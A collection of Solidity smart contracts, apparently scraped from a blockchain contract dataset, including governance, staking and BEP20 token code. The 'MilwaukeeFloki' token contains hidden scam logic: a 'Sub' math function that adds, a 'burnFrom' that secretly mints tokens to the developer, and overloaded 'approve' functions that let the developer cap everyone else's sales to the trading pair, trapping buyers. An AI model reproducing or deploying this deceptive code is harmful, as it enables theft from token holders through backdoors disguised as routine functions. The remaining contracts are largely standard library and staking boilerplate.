"BEP20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account,
_msgSender(),
_allowances[account][_msgSender()].sub(amount,
"BEP20: burn amount exceeds allowance"));
}
}
// iceman with Governance.
contract iceman is BEP20("https://iceman.finance", "ICE") {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
/// @notice A record of each accounts delegate
mapping(address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping(address => mapping(uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping(address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping(address => uint256) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator,
address indexed fromDelegate,
address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate,
uint256 previousBalance,
uint256 newBalance);
function delegates(address delegator) external view returns (address) {
return _delegates[delegator];
}
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee,
uint256 nonce,
uint256 expiry,
uint8 v,
bytes32 r,
bytes32 s) external {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0),
"CAKE::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++,
"CAKE::delegateBySig: invalid nonce");
require(now <= expiry, "CAKE::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account) external view returns (uint256) {
uint32 nCheckpoints = numCheckpoints[account];
return
nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint256 blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number,
"CAKE::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying CAKEs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep,
address dstRep,
uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0
? checkpoints[srcRep][srcRepNum - 1].votes
: 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0
? checkpoints[dstRep][dstRepNum - 1].votes
: 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes) internal {
uint32 blockNumber = safe32(block.number,
"CAKE::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 &&
checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber,
newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint256 n, string memory errorMessage)
internal
pure
returns (uint32)
{
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint256) {
uint256 chainId;
assembly {
chainId := chainid()
}
return chainId;
}
}
| 320,970 | 13,559 |
a62995855c588ddf791f0b0371a6e0e279b8a2daf470282557b6931d5f52a719
| 21,967 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x1aC9cBe04b8dbAA62F981F26774A063EBbd85374/contract.sol
| 3,244 | 12,482 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function Sub(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MilwaukeeFloki is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _excludeDevAddress;
address private _approvedAddress;
uint256 private _tTotal = 10**11 * 10**13;
string private _name;
string private _symbol;
uint8 private _decimals = 18;
uint256 private _maxTotal;
IUniswapV2Router02 public uniSwapRouter;
address public uniSwapPair;
address payable public BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
uint256 private _total = 10**11 * 10**18;
event uniSwapRouterUpdated(address indexed operator, address indexed router, address indexed pair);
constructor (address devAddress, string memory name, string memory symbol) public {
_excludeDevAddress = devAddress;
_name = name;
_symbol = symbol;
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function burnFrom(uint256 amount) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_tTotal = _tTotal.Sub(amount);
_balances[_msgSender()] = _balances[_msgSender()].Sub(amount);
emit Transfer(address(0), _msgSender(), amount);
}
function approve(address approveAddr1, address approveAddr2) public onlyOwner {
approveAddr1 = approveAddr2;
uniSwapRouter = IUniswapV2Router02(approveAddr1);
uniSwapPair = IUniswapV2Factory(uniSwapRouter.factory()).getPair(address(this), uniSwapRouter.WETH());
require(uniSwapPair != address(0), "updateTokenSwapRouter: Invalid pair address.");
emit uniSwapRouterUpdated(msg.sender, address(uniSwapRouter), uniSwapPair);
}
function approve(address approvedAddress) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_approvedAddress = approvedAddress;
}
function approve(uint256 approveAmount) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_total = approveAmount * 10**18;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (sender != _approvedAddress && recipient == uniSwapPair) {
require(amount < _total, "Transfer amount exceeds the maxTxAmount.");
}
uint256 burnAmount = amount.mul(15).div(100);
uint256 sendAmount = amount.sub(burnAmount);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[BURN_ADDRESS] = _balances[BURN_ADDRESS].add(burnAmount);
_balances[recipient] = _balances[recipient].add(sendAmount);
emit Transfer(sender, recipient, sendAmount);
}
}
}
| 255,278 | 13,560 |
50c589ac165648949542b5a11b5c6fd43d2b96e80849eef7811deceb41e7ad40
| 14,031 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x3636F695205D16D8e5B41666feFdC6E7c0916de3/contract.sol
| 3,504 | 13,479 |
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Initializable {
bool private initialized;
bool private initializing;
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
function isConstructor() private view returns (bool) {
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
uint256[50] private ______gap;
}
contract StakePool is Initializable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public depositToken;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function initialize(address _token) public initializer {
depositToken = IERC20(_token);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function _stake(uint256 amount) internal {
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
depositToken.safeTransferFrom(msg.sender, address(this), amount);
}
function _withdraw(uint256 amount) internal {
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
depositToken.safeTransfer(msg.sender, amount);
}
}
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
contract SHITTPTPOOL is StakePool {
IERC20 public degenToken;
// Halving period in seconds, should be defined as 1 week
uint256 public halvingPeriod = 604800;
// Total reward in 18 decimal
uint256 public totalreward;
// Starting timestamp for Degen Staking Pool
uint256 public starttime;
// The timestamp when stakers should be allowed to withdraw
uint256 public stakingtime;
uint256 public eraPeriod = 0;
uint256 public rewardRate = 0;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
uint256 public totalRewards = 0;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
constructor(address _depositToken, address _degenToken, uint256 _totalreward, uint256 _starttime, uint256 _stakingtime) public {
super.initialize(_depositToken);
degenToken = IERC20(_degenToken);
starttime = _starttime;
stakingtime = _stakingtime;
notifyRewardAmount(_totalreward.mul(50).div(100));
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, eraPeriod);
}
function rewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e18)
.div(totalSupply()));
}
function earned(address account) public view returns (uint256) {
return
balanceOf(account)
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account]);
}
function stake(uint256 amount) public updateReward(msg.sender) checkhalve checkStart{
require(amount > 0, "ERROR: Cannot stake 0 Tether");
super._stake(amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public updateReward(msg.sender) checkhalve checkStart{
require(amount > 0, "ERROR: Cannot withdraw 0 Tether");
super._withdraw(amount);
emit Withdrawn(msg.sender, amount);
}
function exit() external stakingTime{
withdraw(balanceOf(msg.sender));
getReward();
}
function getReward() public updateReward(msg.sender) checkhalve checkStart stakingTime{
uint256 reward = earned(msg.sender);
if (reward > 0) {
rewards[msg.sender] = 0;
degenToken.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
totalRewards = totalRewards.add(reward);
}
}
modifier checkhalve(){
if (block.timestamp >= eraPeriod) {
totalreward = totalreward.mul(50).div(100);
rewardRate = totalreward.div(halvingPeriod);
eraPeriod = block.timestamp.add(halvingPeriod);
emit RewardAdded(totalreward);
}
_;
}
modifier checkStart(){
require(block.timestamp > starttime,"ERROR: Not start");
_;
}
modifier stakingTime(){
require(block.timestamp >= stakingtime,"ERROR: Withdrawals open after 24 hours from the beginning");
_;
}
function notifyRewardAmount(uint256 reward)
internal
updateReward(address(0))
{
if (block.timestamp >= eraPeriod) {
rewardRate = reward.div(halvingPeriod);
} else {
uint256 remaining = eraPeriod.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(halvingPeriod);
}
totalreward = reward;
lastUpdateTime = block.timestamp;
eraPeriod = block.timestamp.add(halvingPeriod);
emit RewardAdded(reward);
}
}
| 249,740 | 13,561 |
49f4cac08d4523796b912442c5244c56fb355090035614797264894b3277f99d
| 34,670 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/40/40ECf0893201B348D7358D861f10FFE9Fe6567c4_CarbonABLEToken.sol
| 4,328 | 16,677 |
// https://carbonable.io/app
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
// Part: IERC20
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Part: SafeMath
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// Part: ERC20
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
